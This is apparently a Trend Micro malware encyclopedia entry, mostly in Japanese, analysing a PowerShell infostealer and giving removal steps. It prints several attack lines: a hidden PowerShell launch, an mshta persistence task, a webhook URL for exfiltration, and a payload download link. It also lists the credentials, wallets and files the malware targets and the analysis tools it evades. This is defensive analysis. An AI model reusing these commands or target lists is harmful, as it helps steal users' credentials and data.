Trend Micro Security

TrojanSpy.PS1.HUGLOGGER.THHAFBC

2023年12月19日
 解析者: Melvin Jhun Palbusa   
 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: スパイウェア/情報窃取型
  • 破壊活動の有無: なし
  • 暗号化:  
  • 感染報告の有無: はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

  詳細

ファイルサイズ 28,456 bytes
タイプ PS1
メモリ常駐 はい
発見日 2023年8月16日
ペイロード システム情報の収集, URLまたはIPアドレスに接続, ファイルの作成, 情報収集, プロセスの強制終了

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下のフォルダを追加します。

  • %User Temp%\element-session → Deletes after execution
  • %User Temp%\signal-session → Deletes after execution
  • %User Temp%\steam-session → Deletes after execution
  • %User Temp%\Crypto Wallets → Deletes after execution
  • %User Temp%\Crypto Wallets\Armory → Deletes after execution
  • %User Temp%\Crypto Wallets\Atomic → Deletes after execution
  • %User Temp%\Crypto Wallets\Bitcoin → Deletes after execution
  • %User Temp%\Crypto Wallets\Bytecoin → Deletes after execution
  • %User Temp%\Crypto Wallets\Coinomi → Deletes after execution
  • %User Temp%\Crypto Wallets\Dash → Deletes after execution
  • %User Temp%\Crypto Wallets\Electrum → Deletes after execution
  • %User Temp%\Crypto Wallets\Ethereum → Deletes after execution
  • %User Temp%\Crypto Wallets\Exodus → Deletes after execution
  • %User Temp%\Crypto Wallets\Guarda → Deletes after execution
  • %User Temp%\Crypto Wallets\Liberty.jaxx → Deletes after execution
  • %User Temp%\Crypto Wallets\Litecoin → Deletes after execution
  • %User Temp%\Crypto Wallets\Monero → Deletes after execution
  • %User Temp%\Crypto Wallets\Zcash → Deletes after execution
  • %User Temp%\Crypto Wallets\Thunder → Deletes after execution
  • %User Temp%\Files Grabber → Deletes after execution
  • %User Temp%\SEG → Deletes after execution
  • %Application Data%\SEG

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

スパイウェアは、感染したコンピュータ内に以下のように自身のコピーを作成します。

  • %Application Data%\SEG\SEG.ps1

(註：%Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

スパイウェアは、以下のプロセスを追加します。

  • %User Temp%\main.exe "https://{BLOCKED}d.com/api/webhooks/1140435802338382006/CGUpsFNYfwZOrzAl7AJDTXj3Fyclz-XkwuPwT_mRjXqnEv5PIDCMOVDmDtdwGD_m48-T "
  • Powershell.exe "-NoProfile -ExecutionPolicy Bypass -Windowstyle hidden -File '{malware File Path}'"

自動実行方法

スパイウェアは、以下のファイルを作成します。

  • %User Temp%\ip.txt → contains the machine's IP address. Later moved to %User Temp\SEG\ip.txt
  • %User Temp%\system_info.txt → contains system information. Later moved to %User Temp%\SEG\system_info.txt
  • %User Temp%\uuid.txt → contains OS version, OS build number, Display version, Computer model, and UUID. Later moved to %User Temp%\SEG\uuid.txt
  • %User Temp%\cpu.txt → contains CPU information. Later moved to %User Temp%\SEG\cpu.txt
  • %User Temp%\GPU.txt → contains GPU information. Later moved to %User Temp%\SEG\GPU.txt
  • %User Temp%\mac.txt → contains MAC address. Later moved to %User Temp%\SEG\mac.txt
  • %User Temp%\netstat.txt → contains network information. Later moved to %User Temp%\SEG\netstat.txt
  • %User Temp%\WIFIPasswords.txt → Contains WIFI passwords. Later moved to %User Temp%\SEG\WIFIPasswords.txt
  • %User Temp%\StartUpApps.txt → Contains Startup Commands. Later moved to %User Temp%\SEG\StartUpApps.txt
  • %User Temp%\running-services.txt →Contains list of running services. Later moved to %User Temp%\SEG\running-services.txt
  • %User Temp%\running-application.txt →Contains list of running applications. Later moved to %User Temp%\SEG\running-application.txt
  • %User Temp%\Installed-Application.txt →Contains lists of installed applications. Later moved to %User Temp%\SEG\Installed-Application.txt
  • %User Temp%\NetworkAdapters.txt →Contains lists of Network adapters. Later moved to %User Temp%\SEG\NetworkAdapters.txt
  • %User Temp%\telegram-session.zip →Contains gathered files from %Application Data%\Telegram Desktop\tdata. Later moved to %User Temp%\SEG\telegram-session.zip
  • %User Temp%\element-session.zip →Contains gathered files from %Application Data%\Element. Later moved to %User Temp%\SEG\element-session.zip
  • %User Temp%\signal-session.zip →Contains gathered files from %Application Data%\Signal. Later moved to %User Temp%\SEG\signal-session.zip
  • %User Temp%\steam-session.zip →Contains gathered files from &Program Files%\Steam. Later moved to %User Temp%\SEG\steam-session.zip
  • %User Temp%\desktop-screenshot.png →Screenshot of Desktop. Later moved to %User Temp%\SEG\desktop-screenshot.png
  • %User Temp%\DiskInfo.txt → Contains gathered Disk information. Later moved to %User Temp%\SEG\DiskInfo.txt
  • %User Temp%\ProductKey.txt→ Contains gathered Product keys. Later moved to %User Temp%\SEG\ProductKey.txt
  • %User Temp%\main.exe → Deletes after execution
  • %User Temp%\SEG-LOG.zip → Deletes after execution

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

プロセスの終了

スパイウェアは、感染コンピュータ上で以下のプロセスが常駐されていることを確認した場合、そのプロセスを終了します。

  • Telegram
  • Element
  • Signal
  • Steam
  • Discord
  • Discordcanary
  • Discordptb

ダウンロード活動

スパイウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

  • https://{BLOCKED}b.com/KDot227/Powershell-Token-Grabber/releases/download/V4.1/main.exe

情報漏えい

スパイウェアは、以下の情報を収集します。

  • Machine's IP address
  • System information
  • OS version
  • OS Build number
  • Display Version
  • Computer Model
  • UUID
  • CPU
  • GPU
  • Total physical RAM
  • MAC address
  • Username
  • Hostname
  • Network information
  • Manufacturer information of the machine
  • Date and Time
  • Boot up time
  • List of Installed Anti Virus Products
  • WIFI Passwords
  • Screen Resolution
  • Startup commands
  • Running Process
  • Running Services
  • Installed Applications
  • Network Adapters
  • Files from Telegram directory
  • Files from Element directory
  • Files from Signal Directory
  • Files from Steam Directory
  • Desktop Screenshot
  • Drive name
  • Volume name
  • Total Drive Size
  • Used Drive Size
  • Free Drive Size
  • Product Key
  • It gathers credentials from the following:
    • Email
      • Thunderbird
    • CryptoWallets:
      • Armory
      • Atomic
      • Bitcoin
      • Bytecoin
      • Coinomi
      • Dash
      • Electrum
      • Ethereum
      • Exodus
      • Guarda
      • Liberty.jaxx
      • Litecoin
      • Monero
      • Zcash

情報収集

スパイウェアは、HTTPポスト を介して、収集した情報を以下のURLに送信します。

  • https://{BLOCKED}d.com/api/webhooks/1140435802338382006/CGUpsFNYfwZOrzAl7AJDTXj3Fyclz-XkwuPwT_mRjXqnEv5PIDCMOVDmDtdwGD_m48-T

その他

スパイウェアは、以下のWebサイトにアクセスして感染コンピュータのIPアドレスを収集します。

  • https://{BLOCKED}fy.org

スパイウェアは、以下を実行します。

  • Hide its console window upon execution
  • Copy files from the directories %User Profile%\Downloads, %User Profile%\Documents, and %User Profile%\Desktop to %User Temp%\FilesGrabber, following these conditions:
    • Contains the following strings in their name:
      • Accounts
      • Login
      • Metamask
      • Crypto
      • Code
      • Coinbase
      • Exodus
      • Backupcode
      • Token
      • Seedphrase
      • Private
      • Pw
      • Lastpass
      • Keepass
      • Keepassxc
      • Nordpass
      • Syncthing
      • Dashlane
      • Bitwarden
      • Memo
      • Keys
      • Secret
      • Recovery
      • 2fa
      • Pass
      • Login
      • Backup
      • Discord
      • Paypal
      • Wallet
    • With the following extension:
      • .pdf
      • .txt
      • .doc
      • .csv
      • .rtf
      • .docx
    • With the following file size:
      • Less than 5MB
  • Deletes the following files if found in the machine:
    • %Application Data%\DiscordTokenProtector\DiscordTokenProtector.exe
    • %Application Data%\DiscordTokenProtector\secure.dat
  • Exclude the following directory to be scanned by Windows Defender:
    • %User Temp%
    • %Application Data%\SEG
  • Terminates itself if the following processes are found:
    • Autoruns
    • Autorunsc
    • Dumpcap
    • Fiddler
    • Fakenet
    • Hookexplorer
    • Immunitydebugger
    • Httpdebugger
    • Importrec
    • Lordpe
    • Petools
    • Processhacker
    • Scylla_x64
    • Sandman
    • Sysinspector
    • Tcpview
    • Die
    • Dumpcap
    • Filemon
    • Idaq
    • Idaq64
    • Joeboxcontrol
    • Joeboxserver
    • Ollydbg
    • Proc_analyzer
    • Procexp
    • Procmon
    • Pestudio
    • Qemu-ga
    • Qga
    • Regmon
    • Sniff_hit
    • Sysanalyzer
    • Tcpview
    • Windbg
    • Wireshark
    • X32dbg
    • X64dbg
    • Vmwareuser
    • Vmacthlp
    • Vboxservice
    • Vboxtray
    • Xenservice

(註：%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。. %Application Data%フォルダは、現在ログオンしているユーザのアプリケーションデータフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞\AppData\Roaming" です。)

以下のスケジュールされたタスクを追加します：

  • Name: SEG
  • Trigger: AtLogon
  • Action: mshta.exe 'vbsript:createobject("wscript.shell").run("Powershell.exe -ExecutionPolicy Bypass -File "%appdata%\SEG\SEG.ps1",0)(window.close)'

  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 18.638.02
初回 VSAPI パターンリリース日 2023年8月16日
VSAPI OPR パターンバージョン 18.639.00
VSAPI OPR パターンリリース日 2023年8月17日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 4

セーフモード時のスケジュールタスクの削除方法

  1. セーフモードのまま、以下の{タスク名}-{実行するタスク}のリストを使用し、以下のステップで確認する必要があります。 
    • Task Name: SEG
    • Task to be run:  mshta.exe 'vbsript:createobject(wscript.shell).run(Powershell.exe -ExecutionPolicy Bypass -File %appdata%\SEG\SEG.ps1,0)(window.close)'
  2. Windows 7 および Server 2008 (R2) をご使用の場合は、[スタート] > [コンピューター] をクリックします。
    • Windows 8、8.1、10、Server 2012をご使用の場合は、画面左下で右クリックし、「ファイルエクスプローラ」をクリックします。
  3. PCの検索欄に、次のように入力します。
    • System%\Tasks\{タスク名}
  4. ファイルを選択し、SHIFT+DELETEキーを押して削除します。
  5. レジストリエディタを開き、以下を実行してください。
    • Windows 7およびServer 2008（R2）をご使用の場合は、［スタート］ボタンをクリックし、［検索］入力フィールドに「regedit」と入力し、Enterキーを押します。
    • Windows 8、8.1、10、およびServer 2012（R2）をご使用の場合は、画面の左下隅を右クリックし、［実行］をクリックして、テキストボックスに「regedit」と入力します。
  6. レジストリエディタウィンドウの左パネルで、以下をダブルクリックします。
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{タスク名}
  7. 作成されたエントリを探し、レジストリ値のデータをメモする。
    • ID={タスクデータ}
  8. データを記録した後、レジストリキーを削除します。
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{タスク名}
  9. レジストリエディタウィンドウの左パネルで、以下をダブルクリックします。
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
  10. 左側のパネルで、手順6で配置したTask Dataと同じ名前のレジストリキーを探して削除します。
    • ={タスクデータ}
  11. レジストリエディタを閉じます。

手順 5

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • %Application Data%\SEG\SEG.ps1

手順 6

以下のフォルダを検索し削除します。

[ 詳細 ]
註：このフォルダは、隠しフォルダとして設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • %Application Data%\SEG

手順 7

コンピュータを通常モードで再起動し、最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、「TrojanSpy.PS1.HUGLOGGER.THHAFBC」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

手順 8

最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「TrojanSpy.PS1.HUGLOGGER.THHAFBC」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


ご利用はいかがでしたか？　アンケートにご協力ください